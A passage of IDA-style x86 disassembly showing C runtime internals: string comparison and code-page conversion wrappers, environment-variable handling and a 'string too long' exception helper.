mov eax, [ebp+var_20] push eax push 220h mov ecx, [ebp+arg_10] push ecx call ds:dword_4F5450 ; WideCharToMultiByte mov [ebp+var_24], eax jmp short loc_439AAA ; --------------------------------------------------------------------------- loc_439A86: ; CODE XREF: sub_439920+142j push 0 push 0 mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 0FFFFFFFFh mov ecx, [ebp+var_20] push ecx push 220h mov edx, [ebp+arg_10] push edx call ds:dword_4F5450 ; WideCharToMultiByte mov [ebp+var_24], eax loc_439AAA: ; CODE XREF: sub_439920+164j mov eax, [ebp+var_24] jmp short loc_439AB1 ; --------------------------------------------------------------------------- loc_439AAF: ; CODE XREF: sub_439920+9Dj xor eax, eax loc_439AB1: ; CODE XREF: sub_439920+6Dj ; sub_439920+91j ... lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_439920 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_439AD0 proc near ; CODE XREF: sub_439680+2Dp var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43E0D8 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFC8h push ebx push esi push edi mov [ebp+var_18], esp cmp ds:dword_4F3694, 0 jnz short loc_439B56 push 1 push offset dword_43D410 push 1 push offset dword_43D410 push 0 push 0 call ds:dword_4F52DC ; CompareStringW test eax, eax jz short loc_439B27 mov ds:dword_4F3694, 1 jmp short loc_439B56 ; --------------------------------------------------------------------------- loc_439B27: ; CODE XREF: sub_439AD0+49j push 1 push offset dword_43D40C push 1 push offset dword_43D40C push 0 push 0 call ds:dword_4F52E0 ; CompareStringA test eax, eax jz short loc_439B4F mov ds:dword_4F3694, 2 jmp short loc_439B56 ; --------------------------------------------------------------------------- loc_439B4F: ; CODE XREF: sub_439AD0+71j xor eax, eax jmp loc_439EB4 ; --------------------------------------------------------------------------- loc_439B56: ; CODE XREF: sub_439AD0+2Dj ; sub_439AD0+55j ... cmp [ebp+arg_C], 0 jle short loc_439B6F mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx call sub_439ED0 add esp, 8 mov [ebp+arg_C], eax loc_439B6F: ; CODE XREF: sub_439AD0+8Aj cmp [ebp+arg_14], 0 jle short loc_439B88 mov edx, [ebp+arg_14] push edx mov eax, [ebp+arg_10] push eax call sub_439ED0 add esp, 8 mov [ebp+arg_14], eax loc_439B88: ; CODE XREF: sub_439AD0+A3j cmp ds:dword_4F3694, 2 jnz short loc_439BB4 mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call ds:dword_4F52E0 ; CompareStringA jmp loc_439EB4 ; --------------------------------------------------------------------------- loc_439BB4: ; CODE XREF: sub_439AD0+BFj cmp ds:dword_4F3694, 1 jnz loc_439EB2 cmp [ebp+arg_18], 0 jnz short loc_439BD0 mov ecx, ds:dword_4F3408 mov [ebp+arg_18], ecx loc_439BD0: ; CODE XREF: sub_439AD0+F5j cmp [ebp+arg_C], 0 jz short loc_439BE0 cmp [ebp+arg_14], 0 jnz loc_439D5C loc_439BE0: ; CODE XREF: sub_439AD0+104j mov edx, [ebp+arg_C] cmp edx, [ebp+arg_14] jnz short loc_439BF2 mov eax, 2 jmp loc_439EB4 ; --------------------------------------------------------------------------- loc_439BF2: ; CODE XREF: sub_439AD0+116j cmp [ebp+arg_14], 1 jle short loc_439C02 mov eax, 1 jmp loc_439EB4 ; --------------------------------------------------------------------------- loc_439C02: ; CODE XREF: sub_439AD0+126j cmp [ebp+arg_C], 1 jle short loc_439C12 mov eax, 3 jmp loc_439EB4 ; --------------------------------------------------------------------------- loc_439C12: ; CODE XREF: sub_439AD0+136j lea eax, [ebp+var_3C] push eax mov ecx, [ebp+arg_18] push ecx call ds:dword_4F54E0 ; GetCPInfo test eax, eax jnz short loc_439C2B xor eax, eax jmp loc_439EB4 ; --------------------------------------------------------------------------- loc_439C2B: ; CODE XREF: sub_439AD0+152j ; sub_439AD0+198j cmp [ebp+arg_C], 0 jnz short loc_439C37 cmp [ebp+arg_14], 1 jz short loc_439C64 loc_439C37: ; CODE XREF: sub_439AD0+15Fj cmp [ebp+arg_C], 1 jnz short loc_439C43 cmp [ebp+arg_14], 0 jz short loc_439C64 loc_439C43: ; CODE XREF: sub_439AD0+16Bj push offset aCchcount10Cchc ; "cchCount1==0 && cchCount2==1 || cchCoun"... push 0 push 0B6h push offset dword_43E08C push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_439C64 int 3 ; Trap to Debugger loc_439C64: ; CODE XREF: sub_439AD0+165j ; sub_439AD0+171j ... xor edx, edx test edx, edx jnz short loc_439C2B cmp [ebp+arg_C], 0 jle short loc_439CE3 cmp [ebp+var_3C], 2 jnb short loc_439C80 mov eax, 3 jmp loc_439EB4 ; --------------------------------------------------------------------------- loc_439C80: ; CODE XREF: sub_439AD0+1A4j lea eax, [ebp+var_36] mov [ebp+var_40], eax jmp short loc_439C91 ; --------------------------------------------------------------------------- loc_439C88: ; CODE XREF: sub_439AD0:loc_439CD7j mov ecx, [ebp+var_40] add ecx, 2 mov [ebp+var_40], ecx loc_439C91: ; CODE XREF: sub_439AD0+1B6j mov edx, [ebp+var_40] xor eax, eax mov al, [edx] test eax, eax jz short loc_439CD9 mov ecx, [ebp+var_40] xor edx, edx mov dl, [ecx+1] test edx, edx jz short loc_439CD9 mov eax, [ebp+arg_8] xor ecx, ecx mov cl, [eax] mov edx, [ebp+var_40] xor eax, eax mov al, [edx] cmp ecx, eax jl short loc_439CD7 mov ecx, [ebp+arg_8] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_40] xor ecx, ecx mov cl, [eax+1] cmp edx, ecx jg short loc_439CD7 mov eax, 2 jmp loc_439EB4 ; --------------------------------------------------------------------------- loc_439CD7: ; CODE XREF: sub_439AD0+1E8j ; sub_439AD0+1FBj jmp short loc_439C88 ; --------------------------------------------------------------------------- loc_439CD9: ; CODE XREF: sub_439AD0+1CAj ; sub_439AD0+1D6j mov eax, 3 jmp loc_439EB4 ; --------------------------------------------------------------------------- loc_439CE3: ; CODE XREF: sub_439AD0+19Ej cmp [ebp+arg_14], 0 jle short loc_439D5C cmp [ebp+var_3C], 2 jnb short loc_439CF9 mov eax, 1 jmp loc_439EB4 ; --------------------------------------------------------------------------- loc_439CF9: ; CODE XREF: sub_439AD0+21Dj lea edx, [ebp+var_36] mov [ebp+var_40], edx jmp short loc_439D0A ; --------------------------------------------------------------------------- loc_439D01: ; CODE XREF: sub_439AD0:loc_439D50j mov eax, [ebp+var_40] add eax, 2 mov [ebp+var_40], eax loc_439D0A: ; CODE XREF: sub_439AD0+22Fj mov ecx, [ebp+var_40] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_439D52 mov eax, [ebp+var_40] xor ecx, ecx mov cl, [eax+1] test ecx, ecx jz short loc_439D52 mov edx, [ebp+arg_10] xor eax, eax mov al, [edx] mov ecx, [ebp+var_40] xor edx, edx mov dl, [ecx] cmp eax, edx jl short loc_439D50 mov eax, [ebp+arg_10] xor ecx, ecx mov cl, [eax] mov edx, [ebp+var_40] xor eax, eax mov al, [edx+1] cmp ecx, eax jg short loc_439D50 mov eax, 2 jmp loc_439EB4 ; --------------------------------------------------------------------------- loc_439D50: ; CODE XREF: sub_439AD0+261j ; sub_439AD0+274j jmp short loc_439D01 ; --------------------------------------------------------------------------- loc_439D52: ; CODE XREF: sub_439AD0+243j ; sub_439AD0+24Fj mov eax, 1 jmp loc_439EB4 ; --------------------------------------------------------------------------- loc_439D5C: ; CODE XREF: sub_439AD0+10Aj ; sub_439AD0+217j push 0 push 0 mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 9 mov eax, [ebp+arg_18] push eax call ds:dword_4F5454 ; MultiByteToWideChar mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_439D84 xor eax, eax jmp loc_439EB4 ; --------------------------------------------------------------------------- loc_439D84: ; CODE XREF: sub_439AD0+2ABj mov [ebp+var_4], 0 mov eax, [ebp+var_1C] shl eax, 1 add eax, 3 and al, 0FCh call sub_41EF80 mov [ebp+var_44], esp mov [ebp+var_18], esp mov ecx, [ebp+var_44] mov [ebp+var_24], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_439DC6 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 0 mov [ebp+var_4], 0FFFFFFFFh loc_439DC6: ; CODE XREF: sub_439AD0+2DDj cmp [ebp+var_24], 0 jnz short loc_439DD3 xor eax, eax jmp loc_439EB4 ; --------------------------------------------------------------------------- loc_439DD3: ; CODE XREF: sub_439AD0+2FAj mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 1 mov eax, [ebp+arg_18] push eax call ds:dword_4F5454 ; MultiByteToWideChar test eax, eax jnz short loc_439DFA xor eax, eax jmp loc_439EB4 ; --------------------------------------------------------------------------- loc_439DFA: ; CODE XREF: sub_439AD0+321j push 0 push 0 mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx push 9 mov eax, [ebp+arg_18] push eax call ds:dword_4F5454 ; MultiByteToWideChar mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz short loc_439E22 xor eax, eax jmp loc_439EB4 ; --------------------------------------------------------------------------- loc_439E22: ; CODE XREF: sub_439AD0+349j mov [ebp+var_4], 1 mov eax, [ebp+var_20] shl eax, 1 add eax, 3 and al, 0FCh call sub_41EF80 mov [ebp+var_48], esp mov [ebp+var_18], esp mov ecx, [ebp+var_48] mov [ebp+var_28], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_439E64 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_28], 0 mov [ebp+var_4], 0FFFFFFFFh loc_439E64: ; CODE XREF: sub_439AD0+37Bj cmp [ebp+var_28], 0 jnz short loc_439E6E xor eax, eax jmp short loc_439EB4 ; --------------------------------------------------------------------------- loc_439E6E: ; CODE XREF: sub_439AD0+398j mov edx, [ebp+var_20] push edx mov eax, [ebp+var_28] push eax mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx push 1 mov eax, [ebp+arg_18] push eax call ds:dword_4F5454 ; MultiByteToWideChar test eax, eax jnz short loc_439E92 xor eax, eax jmp short loc_439EB4 ; --------------------------------------------------------------------------- loc_439E92: ; CODE XREF: sub_439AD0+3BCj mov ecx, [ebp+var_20] push ecx mov edx, [ebp+var_28] push edx mov eax, [ebp+var_1C] push eax mov ecx, [ebp+var_24] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call ds:dword_4F52DC ; CompareStringW jmp short loc_439EB4 ; --------------------------------------------------------------------------- loc_439EB2: ; CODE XREF: sub_439AD0+EBj xor eax, eax loc_439EB4: ; CODE XREF: sub_439AD0+81j ; sub_439AD0+DFj ... lea esp, [ebp-54h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_439AD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_439ED0 proc near ; CODE XREF: sub_439AD0+94p ; sub_439AD0+ADp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx loc_439EE2: ; CODE XREF: sub_439ED0+35j mov edx, [ebp+var_8] mov eax, [ebp+var_8] sub eax, 1 mov [ebp+var_8], eax test edx, edx jz short loc_439F07 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_439F07 mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_439EE2 ; --------------------------------------------------------------------------- loc_439F07: ; CODE XREF: sub_439ED0+20j ; sub_439ED0+2Aj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_439F19 mov eax, [ebp+var_4] sub eax, [ebp+arg_0] jmp short loc_439F1C ; --------------------------------------------------------------------------- loc_439F19: ; CODE XREF: sub_439ED0+3Fj mov eax, [ebp+arg_4] loc_439F1C: ; CODE XREF: sub_439ED0+47j mov esp, ebp pop ebp retn sub_439ED0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_439F20 proc near ; CODE XREF: sub_4396D0+92p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h push esi cmp [ebp+arg_0], 0 jz short loc_439F4C push 3Dh mov eax, [ebp+arg_0] push eax call sub_43A370 add esp, 8 mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_439F4C mov ecx, [ebp+arg_0] cmp ecx, [ebp+var_18] jnz short loc_439F54 loc_439F4C: ; CODE XREF: sub_439F20+Bj ; sub_439F20+22j or eax, 0FFFFFFFFh jmp loc_43A1FB ; --------------------------------------------------------------------------- loc_439F54: ; CODE XREF: sub_439F20+2Aj mov edx, [ebp+var_18] movsx eax, byte ptr [edx+1] neg eax sbb eax, eax inc eax mov [ebp+var_14], eax mov ecx, ds:dword_4F3314 cmp ecx, ds:dword_4F3318 jnz short loc_439F85 mov edx, ds:dword_4F3314 push edx call sub_43A280 add esp, 4 mov ds:dword_4F3314, eax loc_439F85: ; CODE XREF: sub_439F20+4Fj cmp ds:dword_4F3314, 0 jnz loc_43A045 cmp [ebp+arg_4], 0 jz short loc_439FB7 cmp ds:dword_4F331C, 0 jz short loc_439FB7 call sub_4396D0 test eax, eax jz short loc_439FB2 or eax, 0FFFFFFFFh jmp loc_43A1FB ; --------------------------------------------------------------------------- loc_439FB2: ; CODE XREF: sub_439F20+88j jmp loc_43A045 ; --------------------------------------------------------------------------- loc_439FB7: ; CODE XREF: sub_439F20+76j ; sub_439F20+7Fj cmp [ebp+var_14], 0 jz short loc_439FC4 xor eax, eax jmp loc_43A1FB ; --------------------------------------------------------------------------- loc_439FC4: ; CODE XREF: sub_439F20+9Bj cmp ds:dword_4F3314, 0 jnz short loc_43A004 push 87h push offset dword_43E0F0 push 2 push 4 call sub_41BE70 add esp, 10h mov ds:dword_4F3314, eax cmp ds:dword_4F3314, 0 jnz short loc_439FF9 or eax, 0FFFFFFFFh jmp loc_43A1FB ; --------------------------------------------------------------------------- loc_439FF9: ; CODE XREF: sub_439F20+CFj mov eax, ds:dword_4F3314 mov dword ptr [eax], 0 loc_43A004: ; CODE XREF: sub_439F20+ABj cmp ds:dword_4F331C, 0 jnz short loc_43A045 push 8Eh push offset dword_43E0F0 push 2 push 4 call sub_41BE70 add esp, 10h mov ds:dword_4F331C, eax cmp ds:dword_4F331C, 0 jnz short loc_43A039 or eax, 0FFFFFFFFh jmp loc_43A1FB ; --------------------------------------------------------------------------- loc_43A039: ; CODE XREF: sub_439F20+10Fj mov ecx, ds:dword_4F331C mov dword ptr [ecx], 0 loc_43A045: ; CODE XREF: sub_439F20+6Cj ; sub_439F20:loc_439FB2j ... mov edx, ds:dword_4F3314 mov [ebp+var_C], edx mov eax, [ebp+var_18] sub eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_0] push ecx call sub_43A200 add esp, 8 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jl loc_43A101 mov edx, [ebp+var_C] cmp dword ptr [edx], 0 jz loc_43A101 cmp [ebp+var_14], 0 jz short loc_43A0F3 push 2 mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov edx, [ecx+eax*4] push edx call sub_41CA10 add esp, 8 jmp short loc_43A09F ; --------------------------------------------------------------------------- loc_43A096: ; CODE XREF: sub_439F20+19Ej mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_43A09F: ; CODE XREF: sub_439F20+174j mov ecx, [ebp+var_8] mov edx, [ebp+var_C] cmp dword ptr [edx+ecx*4], 0 jz short loc_43A0C0 mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov edx, [ebp+var_8] mov esi, [ebp+var_C] mov edx, [esi+edx*4+4] mov [ecx+eax*4], edx jmp short loc_43A096 ; --------------------------------------------------------------------------- loc_43A0C0: ; CODE XREF: sub_439F20+189j push 0B9h push offset dword_43E0F0 push 2 mov eax, [ebp+var_8] shl eax, 2 push eax mov ecx, [ebp+var_C] push ecx call sub_41C360 add esp, 14h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_43A0F1 mov edx, [ebp+var_C] mov ds:dword_4F3314, edx loc_43A0F1: ; CODE XREF: sub_439F20+1C6j jmp short loc_43A0FF ; --------------------------------------------------------------------------- loc_43A0F3: ; CODE XREF: sub_439F20+15Ej mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov [ecx+eax*4], edx loc_43A0FF: ; CODE XREF: sub_439F20:loc_43A0F1j jmp short loc_43A174 ; --------------------------------------------------------------------------- loc_43A101: ; CODE XREF: sub_439F20+148j ; sub_439F20+154j cmp [ebp+var_14], 0 jnz short loc_43A16D cmp [ebp+var_8], 0 jge short loc_43A115 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_43A115: ; CODE XREF: sub_439F20+1EBj push 0CEh push offset dword_43E0F0 push 2 mov ecx, [ebp+var_8] lea edx, ds:8[ecx*4] push edx mov eax, [ebp+var_C] push eax call sub_41C360 add esp, 14h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_43A149 or eax, 0FFFFFFFFh jmp loc_43A1FB ; --------------------------------------------------------------------------- loc_43A149: ; CODE XREF: sub_439F20+21Fj mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov eax, [ebp+arg_0] mov [edx+ecx*4], eax mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov dword ptr [edx+ecx*4+4], 0 mov eax, [ebp+var_C] mov ds:dword_4F3314, eax jmp short loc_43A174 ; --------------------------------------------------------------------------- loc_43A16D: ; CODE XREF: sub_439F20+1E5j xor eax, eax jmp loc_43A1FB ; --------------------------------------------------------------------------- loc_43A174: ; CODE XREF: sub_439F20:loc_43A0FFj ; sub_439F20+24Bj cmp [ebp+arg_4], 0 jz short loc_43A1F9 push 0E5h push offset dword_43E0F0 push 2 mov ecx, [ebp+arg_0] push ecx call sub_41BC70 add esp, 4 add eax, 2 push eax call sub_41BE70 add esp, 10h mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_43A1F9 mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_10] push eax call sub_41F620 add esp, 8 mov ecx, [ebp+var_18] sub ecx, [ebp+arg_0] mov edx, [ebp+var_10] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_4] mov byte ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_14] neg edx sbb edx, edx not edx and edx, [ebp+var_4] push edx mov eax, [ebp+var_10] push eax call ds:dword_4F52D8 ; SetEnvironmentVariableA push 2 mov ecx, [ebp+var_10] push ecx call sub_41CA10 add esp, 8 loc_43A1F9: ; CODE XREF: sub_439F20+258j ; sub_439F20+285j xor eax, eax loc_43A1FB: ; CODE XREF: sub_439F20+2Fj ; sub_439F20+8Dj ... pop esi mov esp, ebp pop ebp retn sub_439F20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A200 proc near ; CODE XREF: sub_439F20+139p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, ds:dword_4F3314 mov [ebp+var_4], eax jmp short loc_43A217 ; --------------------------------------------------------------------------- loc_43A20E: ; CODE XREF: sub_43A200:loc_43A268j mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx loc_43A217: ; CODE XREF: sub_43A200+Cj mov edx, [ebp+var_4] cmp dword ptr [edx], 0 jz short loc_43A26A mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_4] mov edx, [ecx] push edx mov eax, [ebp+arg_0] push eax call sub_439680 add esp, 0Ch test eax, eax jnz short loc_43A268 mov ecx, [ebp+var_4] mov edx, [ecx] mov eax, [ebp+arg_4] movsx ecx, byte ptr [edx+eax] cmp ecx, 3Dh jz short loc_43A25A mov edx, [ebp+var_4] mov eax, [edx] mov ecx, [ebp+arg_4] movsx edx, byte ptr [eax+ecx] test edx, edx jnz short loc_43A268 loc_43A25A: ; CODE XREF: sub_43A200+48j mov eax, [ebp+var_4] sub eax, ds:dword_4F3314 sar eax, 2 jmp short loc_43A278 ; --------------------------------------------------------------------------- loc_43A268: ; CODE XREF: sub_43A200+37j ; sub_43A200+58j jmp short loc_43A20E ; --------------------------------------------------------------------------- loc_43A26A: ; CODE XREF: sub_43A200+1Dj mov eax, [ebp+var_4] sub eax, ds:dword_4F3314 sar eax, 2 neg eax loc_43A278: ; CODE XREF: sub_43A200+66j mov esp, ebp pop ebp retn sub_43A200 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A280 proc near ; CODE XREF: sub_439F20+58p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h mov [ebp+var_10], 0 mov eax, [ebp+arg_0] mov [ebp+var_C], eax cmp [ebp+arg_0], 0 jnz short loc_43A2A0 xor eax, eax jmp loc_43A36A ; --------------------------------------------------------------------------- loc_43A2A0: ; CODE XREF: sub_43A280+17j ; sub_43A280+3Bj mov ecx, [ebp+var_C] mov edx, [ecx] mov eax, [ebp+var_C] add eax, 4 mov [ebp+var_C], eax test edx, edx jz short loc_43A2BD mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx jmp short loc_43A2A0 ; --------------------------------------------------------------------------- loc_43A2BD: ; CODE XREF: sub_43A280+30j push 146h push offset dword_43E0F0 push 2 mov edx, [ebp+var_10] lea eax, ds:4[edx*4] push eax call sub_41BE70 add esp, 10h mov [ebp+var_8], eax mov ecx, [ebp+var_8] mov [ebp+var_4], ecx cmp [ebp+var_4], 0 jnz short loc_43A2F5 push 9 call sub_422270 add esp, 4 loc_43A2F5: ; CODE XREF: sub_43A280+69j mov edx, [ebp+arg_0] mov [ebp+var_C], edx loc_43A2FB: ; CODE XREF: sub_43A280+DCj mov eax, [ebp+var_C] cmp dword ptr [eax], 0 jz short loc_43A35E push 14Fh push offset dword_43E0F0 push 2 mov ecx, [ebp+var_C] mov edx, [ecx] push edx call sub_41BC70 add esp, 4 add eax, 1 push eax call sub_41BE70 add esp, 10h mov ecx, [ebp+var_8] mov [ecx], eax mov edx, [ebp+var_8] cmp dword ptr [edx], 0 jz short loc_43A34A mov eax, [ebp+var_C] mov ecx, [eax] push ecx mov edx, [ebp+var_8] mov eax, [edx] push eax call sub_41F620 add esp, 8 loc_43A34A: ; CODE XREF: sub_43A280+B4j mov ecx, [ebp+var_C] add ecx, 4 mov [ebp+var_C], ecx mov edx, [ebp+var_8] add edx, 4 mov [ebp+var_8], edx jmp short loc_43A2FB ; --------------------------------------------------------------------------- loc_43A35E: ; CODE XREF: sub_43A280+81j mov eax, [ebp+var_8] mov dword ptr [eax], 0 mov eax, [ebp+var_4] loc_43A36A: ; CODE XREF: sub_43A280+1Bj mov esp, ebp pop ebp retn sub_43A280 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A370 proc near ; CODE XREF: sub_439F20+13p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp ds:dword_4F37DC, 0 jnz short loc_43A392 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41F720 add esp, 8 jmp loc_43A459 ; --------------------------------------------------------------------------- loc_43A392: ; CODE XREF: sub_43A370+Bj push 19h call sub_423280 add esp, 4 jmp short loc_43A3A7 ; --------------------------------------------------------------------------- loc_43A39E: ; CODE XREF: sub_43A370:loc_43A436j mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx loc_43A3A7: ; CODE XREF: sub_43A370+2Cj mov eax, [ebp+arg_0] movzx cx, byte ptr [eax] mov word ptr [ebp+var_4], cx mov edx, [ebp+var_4] and edx, 0FFFFh test edx, edx jz short loc_43A43B mov eax, [ebp+var_4] and eax, 0FFh xor ecx, ecx mov cl, ds:byte_4F38E1[eax] and ecx, 4 test ecx, ecx jz short loc_43A426 mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] test ecx, ecx jnz short loc_43A3F8 push 19h call sub_423320 add esp, 4 xor eax, eax jmp short loc_43A459 ; --------------------------------------------------------------------------- loc_43A3F8: ; CODE XREF: sub_43A370+78j mov edx, [ebp+var_4] and edx, 0FFFFh shl edx, 8 mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] or edx, ecx cmp [ebp+arg_4], edx jnz short loc_43A424 push 19h call sub_423320 add esp, 4 mov eax, [ebp+arg_0] sub eax, 1 jmp short loc_43A459 ; --------------------------------------------------------------------------- loc_43A424: ; CODE XREF: sub_43A370+A0j jmp short loc_43A436 ; --------------------------------------------------------------------------- loc_43A426: ; CODE XREF: sub_43A370+64j mov edx, [ebp+var_4] and edx, 0FFFFh cmp [ebp+arg_4], edx jnz short loc_43A436 jmp short loc_43A43B ; --------------------------------------------------------------------------- loc_43A436: ; CODE XREF: sub_43A370:loc_43A424j ; sub_43A370+C2j jmp loc_43A39E ; --------------------------------------------------------------------------- loc_43A43B: ; CODE XREF: sub_43A370+4Dj ; sub_43A370+C4j push 19h call sub_423320 add esp, 4 mov eax, [ebp+var_4] and eax, 0FFFFh cmp [ebp+arg_4], eax jnz short loc_43A457 mov eax, [ebp+arg_0] jmp short loc_43A459 ; --------------------------------------------------------------------------- loc_43A457: ; CODE XREF: sub_43A370+E0j xor eax, eax loc_43A459: ; CODE XREF: sub_43A370+1Dj ; sub_43A370+86j ... mov esp, ebp pop ebp retn sub_43A370 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A460 proc near ; CODE XREF: sub_40DC67+12p ; sub_40DCFC+12p ... var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_43A460 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [ebp+var_3C] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp+var_38] call sub_40DC1A mov [ebp+var_4], 0 lea ecx, [ebp+var_38] push ecx lea ecx, [ebp+var_28] call sub_43A610 push offset dword_43E450 lea edx, [ebp+var_28] push edx call sub_43B240 mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_43A460 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A4C0 proc near ; CODE XREF: sub_43A550+10p ; sub_43A730+Ep ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_43A4C0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_10] call sub_43AFC0 mov [ebp+var_4], 0 mov ecx, [ebp+arg_0] add ecx, 0Ch push ecx mov ecx, [ebp+var_10] add ecx, 0Ch call sub_40DBF4 mov edx, [ebp+var_10] mov dword ptr [edx], offset off_43E110 mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_10] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 sub_43A4C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A530 proc near ; DATA XREF: _1:0043E114o _1:0043E124o ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] add ecx, 0Ch call sub_40DCD7 mov esp, ebp pop ebp retn sub_43A530 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A550 proc near ; DATA XREF: _1:0043E118o var_20 = dword ptr -20h var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 20h mov [ebp+var_20], ecx mov eax, 